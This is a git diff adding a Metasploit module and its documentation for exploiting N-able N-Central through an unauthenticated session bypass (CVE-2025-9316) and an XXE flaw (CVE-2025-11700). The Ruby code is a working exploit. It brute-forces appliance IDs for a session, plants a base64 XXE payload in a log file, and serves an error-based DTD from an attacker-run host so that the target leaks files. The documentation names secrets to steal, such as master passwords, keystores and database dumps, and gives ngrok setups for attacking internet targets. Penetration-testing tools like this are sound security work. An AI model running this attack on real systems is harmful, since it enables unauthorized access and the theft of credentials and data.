diff --git a/documentation/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.md b/documentation/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.md new file mode 100644 index 0000000000000..176d14bf61475 --- /dev/null +++ b/documentation/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.md @@ -0,0 +1,153 @@ +## Vulnerable Application + +This module targets N-able N-Central instances affected by CVE-2025-9316 (Unauthenticated Session Bypass) and CVE-2025-11700 (XXE). + +Affected versions: N-Central < 2025.4.0.9 + +### Installation + +N-able N-Central is a commercial RMM (Remote Monitoring and Management) platform. To obtain a vulnerable version for testing: + +1. Contact N-able support or your account representative to request an evaluation copy +2. Download the installation package from the N-able customer portal +3. Follow the official installation guide provided by N-able +4. Ensure the installation is version < 2025.4.0.9 to be vulnerable + +Note: This module requires an HTTP server to host the XXE DTD file. +For WAN testing, you need to expose the DTD server to the internet +(e.g., using ngrok). + +## Verification Steps + +1. Start msfconsole +1. Do: `use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe` +1. Do: `set RHOSTS ` +1. Do: `set RPORT 443` +1. Do: `run` +1. You should see the module obtain a session ID and read the target file via XXE + +## Options + +### APPLIANCE_ID + +Appliance ID range to test (default: `1-30`). The module will iterate through this range to find a valid appliance ID that allows +session creation. + +### FILE + +File to read via XXE (default: `/etc/passwd`). + +## Files of Interest + +Examples of interesting files that can be read via XXE: + +- `/etc/passwd` - User accounts +- `/opt/nable/var/ncsai/etc/ncbackup.conf` - N-Central backup configuration +- `/var/opt/n-central/tmp/ncbackup/ncbackup.bin` - PostgreSQL dump file +- `/opt/nable/etc/keystore.bcfks` - Encrypted keystore file +- `/opt/nable/etc/masterPassword` - Keystore password + +### LOG_PATH + +Directory path where the log file is written (default: `/opt/nable/webapps/ROOT/applianceLog`). +The module writes the XXE payload to a log file in this directory before triggering it. + +## Advanced Options + +### XXETriggerTimeout + +Maximum time (in seconds) to wait for XXE file read to succeed (default: `10`). The module uses a retry mechanism to wait for the target +to fetch the DTD and process the XXE payload. + +### DTD_PROTO + +Protocol to use in DTD URL and for the local server (default: `http`). Options: `http` or `https`. +The local server SSL is synchronized with this option. +Note that N-Central (Java) cannot validate self-signed certificates, so HTTPS will only work if you provide a valid certificate via the +`SSLCert` option that is signed by a trusted certificate authority. + +## Scenarios + +### Local Network Testing + +When the target N-Central server is on the same network or can reach your machine: + +``` +msf6 > use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set RHOSTS 192.168.1.100 +RHOSTS => 192.168.1.100 +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set RPORT 443 +RPORT => 443 +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set SRVHOST 192.168.1.50 +SRVHOST => 192.168.1.50 +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > set SRVPORT 8080 +SRVPORT => 8080 +msf6 auxiliary(scanner/http/nable_ncentral_auth_bypass_xxe) > run + +[*] Using URL: http://192.168.1.50:8080/ +[*] Started XXE DTD server on 192.168.1.50:8080 +[*] Scanning 192.168.1.100:443 for N-Central vulnerabilities +[*] Testing appliance ID: 1 +[*] Testing appliance ID: 2 +[*] Testing appliance ID: 3 +[+] 192.168.1.100:443 - Vulnerable to CVE-2025-9316 (Authentication Bypass) +[+] 192.168.1.100:443 - Obtained session ID: 1234567890 (appliance ID: 3) +[*] Testing CVE-2025-11700 (XXE) with session ID: 1234567890 (target file: /etc/passwd) +[*] DTD requested from 192.168.1.100 +[+] 192.168.1.100:443 - XXE file read succeeded (CVE-2025-11700) +[+] File contents: + +root:x:0:0:root:/root:/bin/bash +bin:x:1:1:bin:/bin:/sbin/nologin +daemon:x:2:2:daemon:/sbin:/sbin/nologin +... +[*] Scanned 1 of 1 hosts (100% complete) +[*] Server stopped. +``` + +### WAN Testing with ngrok + +For testing against targets on the internet, expose your DTD server using ngrok. There are two methods: + +#### Method 1: ngrok HTTP forwarding + +1. Start ngrok: `ngrok http 8080` +2. Use the HTTP URL provided by ngrok (e.g., `https://abc123def456.ngrok-free.app`): + +``` +use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe +set RHOSTS target.example.com +set RPORT 443 +set SRVHOST 0.0.0.0 +set SRVPORT 8080 +set URIHOST abc123def456.ngrok-free.app +set URIPORT 443 +run +``` + +#### Method 2: ngrok TCP forwarding + +1. Start ngrok: `ngrok tcp 7777` +2. Use the TCP address and port provided by ngrok (e.g., `0.tcp.eu.ngrok.io:12345`): + +``` +use auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe +set RHOSTS target.example.com +set RPORT 443 +set SRVHOST 0.0.0.0 +set SRVPORT 7777 +set URIHOST 0.tcp.eu.ngrok.io +set URIPORT 12345 +run +``` + +Note: `URIHOST` and `URIPORT` specify the public ngrok address and port that the target will connect to. `SRVHOST` and `SRVPORT` should +be set to your local listening address and port. + + +## Troubleshooting + +- **"Unexpected end of file from server"**: The target cannot reach your DTD server. Check firewall rules and ngrok configuration if using + a tunnel. +- **"Session already exists"**: Some appliance IDs may be temporarily unavailable. The module will try other IDs automatically. +- **No session ID obtained**: Try expanding the `APPLIANCE_ID` range or verify the target is vulnerable (N-Central < 2025.4.0.9). diff --git a/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb b/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb new file mode 100644 index 0000000000000..2e6f3f0c5b71c --- /dev/null +++ b/modules/auxiliary/scanner/http/nable_ncentral_auth_bypass_xxe.rb @@ -0,0 +1,352 @@ +# -*- coding: binary -*- + +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +class MetasploitModule < Msf::Auxiliary + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HttpServer + include Msf::Exploit::Retry + include Msf::Auxiliary::Scanner + include Msf::Auxiliary::Report + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'N-able N-Central Authentication Bypass and XXE Scanner', + 'Description' => %q{ + This module scans for vulnerable N-able N-Central instances affected by + CVE-2025-9316 (Unauthenticated Session Bypass) and CVE-2025-11700 (XXE). + + The module attempts to exploit CVE-2025-9316 by sending a sessionHello SOAP + request to the ServerMMS endpoint with various appliance IDs to obtain an + unauthenticated session. If successful, it then tests for CVE-2025-11700 + by writing an XXE payload file and triggering it via importServiceTemplateFromFile. + + Files of interest that can be read via XXE: + - /opt/nable/var/ncsai/etc/ncbackup.conf + - /var/opt/n-central/tmp/ncbackup/ncbackup.bin (PostgreSQL dump) + - /opt/nable/etc/keystore.bcfks (encrypted keystore) + - /opt/nable/etc/masterPassword (keystore password) + + Affected versions: N-Central < 2025.4.0.9 + }, + 'Author' => [ + 'Zach Hanley (Horizon3.ai)', # Discovery + 'Valentin Lobstein ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => [ + ['CVE', '2025-9316'], + ['CVE', '2025-11700'], + ['URL', 'https://horizon3.ai/attack-research/attack-blogs/n-able-n-central-from-n-days-to-0-days/'] + ], + 'DisclosureDate' => '2025-11-17', + 'Notes' => { + 'Stability' => [CRASH_SAFE], + 'SideEffects' => [IOC_IN_LOGS], + 'Reliability' => [] + } + ) + ) + + register_options([ + OptIntRange.new('APPLIANCE_ID', [true, 'Appliance ID range to test (e.g., 1-30)', '1-30']), + OptString.new('LOG_PATH', [true, 'Directory path where the log file is written', '/opt/nable/webapps/ROOT/applianceLog']), + OptString.new('FILE', [ + true, + 'File to read via XXE (e.g., /etc/passwd, /opt/nable/var/ncsai/etc/ncbackup.conf, ' \ + '/var/opt/n-central/tmp/ncbackup/ncbackup.bin, /opt/nable/etc/masterPassword, /etc/shadow)', + '/etc/passwd' + ]) + ]) + + register_advanced_options([ + OptInt.new('XXETriggerTimeout', [false, 'Maximum time to wait for XXE file read to succeed', 10]), + OptEnum.new('DTD_PROTO', [false, 'Protocol to use in DTD URL and for the local server (http or https). The local server SSL is synchronized with this option.', 'http', ['http', 'https']]) + ]) + end + + def run + @dtd_filename = "#{Rex::Text.rand_text_alpha(8..15)}.dtd" + # Synchronize SSL with DTD_PROTO: N-Central (Java) cannot validate self-signed certificates and will fail with: + # "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: + # unable to find valid certification path to requested target" + start_service({ + 'ssl' => (datastore['DTD_PROTO'] == 'https'), + 'Uri' => { + 'Proc' => proc do |cli, req| + on_request_uri(cli, req) + end, + 'Path' => '/' + } + }) + + print_status("Started XXE DTD server on #{srvhost_addr}:#{srvport}") + super + end + + def run_host(ip) + print_status("Scanning #{ip}:#{rport} for N-Central vulnerabilities") + + service = report_service( + host: ip, + port: rport, + proto: 'tcp', + name: 'http', + info: 'N-able N-Central' + ) + + # Test for CVE-2025-9316 (Authentication Bypass) + session_id, appliance_id = test_auth_bypass + unless session_id && appliance_id + vprint_status("#{ip}:#{rport} - Not vulnerable to CVE-2025-9316 or requires different appliance ID") + return + end + + print_good("#{ip}:#{rport} - Vulnerable to CVE-2025-9316 (Authentication Bypass)") + print_good("#{ip}:#{rport} - Obtained session ID: #{session_id} (appliance ID: #{appliance_id})") + + report_vuln( + host: ip, + port: rport, + service: service, + name: 'N-able N-Central Unauthenticated Session Bypass', + refs: ['CVE-2025-9316'], + info: "Session ID: #{session_id}, Appliance ID: #{appliance_id}" + ) + + # Test for CVE-2025-11700 (XXE) using the obtained session + test_xxe(session_id, appliance_id, service) + end + + def test_auth_bypass + Msf::OptIntRange.parse(datastore['APPLIANCE_ID']).each do |appliance_id| + vprint_status("Testing appliance ID: #{appliance_id}") + + soap_body = <<~XML + + #{appliance_id} + + XML + + res = send_soap_request('/dms/services/ServerUI', soap_body) + unless res + vprint_error("#{rhost}:#{rport} - No response from server, stopping") + return [nil, nil] + end + + session_id = parse_session_id(res.body) + return [session_id, appliance_id] if res.code == 200 && session_id + + next if expected_error?(res.body) + end + + [nil, nil] + end + + def expected_error?(body) + body_lower = body.to_s.downcase + [ + 'invalid version sent to hello', + 'appliance type does not exist', + 'appliance type id error', + 'invalid appliance version' + ].any? { |err| body_lower.include?(err) } + end + + def test_xxe(session_id, appliance_id, service) + vprint_status("Testing CVE-2025-11700 (XXE) with session ID: #{session_id} (target file: #{datastore['FILE']})") + + @nonexistent_path = Rex::Text.rand_text_alpha(8..15) + + xxe_payload = build_xxe_payload + encoded_payload = Rex::Text.encode_base64(xxe_payload) + + unless write_xxe_payload(session_id, encoded_payload) + vprint_error('Failed to write XXE payload file') + return + end + + payload_file = build_log_file_path(appliance_id) + file_content = retry_until_truthy(timeout: datastore['XXETriggerTimeout']) do + res = trigger_xxe(session_id, payload_file) + next nil unless res + + extract_file_contents(res.body) + rescue StandardError => e + vprint_error("Error during XXE trigger: #{e.message}") + nil + end + + unless file_content + vprint_status("#{rhost}:#{rport} - XXE triggered but could not extract file contents from response (timeout or no content)") + return + end + + print_good("#{rhost}:#{rport} - XXE file read succeeded (CVE-2025-11700)") + print_line + print_line(file_content) + print_line + stored_path = store_loot('nable.file', 'text/plain', rhost, file_content, datastore['FILE'], "XXE file read - #{datastore['FILE']}", service) + print_good("Stored #{datastore['FILE']} to #{stored_path}") + report_vuln( + host: rhost, + port: rport, + service: service, + name: 'N-able N-Central XXE Vulnerability', + refs: ['CVE-2025-11700'], + info: "XXE triggered via importServiceTemplateFromFile - File: #{datastore['FILE']}" + ) + end + + def build_xxe_payload + # NOTE: DTD_PROTO controls the protocol in the DTD URL that the target will use to fetch the DTD. + # The local server SSL is synchronized with DTD_PROTO. N-Central (Java) cannot validate self-signed certificates + # and will fail with: "PKIX path building failed: sun.security.provider.certpath.SunCertPathBuilderException: + # unable to find valid certification path to requested target". HTTP works fine for XXE exploitation. + dtd_url = "#{datastore['DTD_PROTO']}://#{srvhost_addr}:#{srvport}/#{@dtd_filename}" + template_name = Rex::Text.rand_text_alpha(8..15) + ent_xxe = Rex::Text.rand_text_alpha(4..8) + + <<~XML + + + %#{ent_xxe}; + ]> + + #{template_name} + + + XML + end + + def build_log_file_path(appliance_id) + log_dir = datastore['LOG_PATH'] || '/opt/nable/webapps/ROOT/applianceLog' + "#{log_dir}/network_check_log_#{appliance_id}.log" + end + + def write_xxe_payload(session_id, encoded_payload) + soap_body = <<~XML + + #{session_id} + NETWORK_CHECK_LOG + #{encoded_payload} + + XML + + res = send_soap_request('/dms/services/ServerMMS', soap_body) + unless res + vprint_error("#{rhost}:#{rport} - No response from server when writing XXE payload, stopping") + return false + end + res.code == 200 + end + + def trigger_xxe(session_id, file_path) + soap_body = <<~XML + + #{session_id} + 1 + #{file_path} + + XML + + send_soap_request('/dms/services/ServerUI', soap_body) + end + + def send_soap_request(endpoint, soap_body) + soap_request = <<~XML + + + + + #{soap_body} + + + XML + + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, endpoint), + 'method' => 'POST', + 'ctype' => 'text/xml; charset=utf-8', + 'data' => soap_request, + 'headers' => { + 'SOAPAction' => '""' + } + }) + end + + def parse_session_id(response_body) + response_body.downcase.match(%r{]*>(\d+)})&.[](1) + end + + def extract_file_contents(response_text) + # Extract file contents from SOAP fault detail - handles different instance formats + patterns = [ + %r{\[tid:[^\]]+\]\s*/(.*?)(?:\s*\(File name too long\))?}m, + %r{/(.*?)(?:\s*\(File name too long\))?}m, + %r{[^<]*?/(.*?)(?:\s*\(File name too long\))?}m + ] + + patterns.each do |pattern| + match = response_text.match(pattern) + next unless match + + content = match[1].strip + next if content.empty? || content.include?('') + + content = content.sub(%r{^[^\n]*?/}, '') if content.match?(%r{^[^\n:]*:/}) + + return content unless content.empty? + end + + nil + end + + def on_request_uri(cli, req) + super + + print_status("Received request: #{req.method} #{req.uri} from #{cli.peerhost}") + + unless req.uri =~ %r{/#{Regexp.escape(@dtd_filename)}} + vprint_status("Request URI doesn't match DTD filename, returning 404") + send_response(cli, 'Not Found', 404) + return + end + + handle_dtd_request(cli) + end + + def handle_dtd_request(cli) + print_status("DTD requested from #{cli.peerhost}") + dtd = make_xxe_dtd + vprint_status("Sending DTD (#{dtd.length} bytes): #{dtd[0..100]}...") + send_response(cli, dtd, { + 'Content-Type' => 'application/xml-dtd', + 'Connection' => 'close' + }) + end + + def make_xxe_dtd + ent_file = Rex::Text.rand_text_alpha(4..8) + ent_eval = Rex::Text.rand_text_alpha(4..8) + + # Error-based XXE: inject file content into non-existent file path + # The FileNotFoundException error message will contain the file contents + <<~DTD + + "> + %#{ent_eval}; + %error; + DTD + end + +end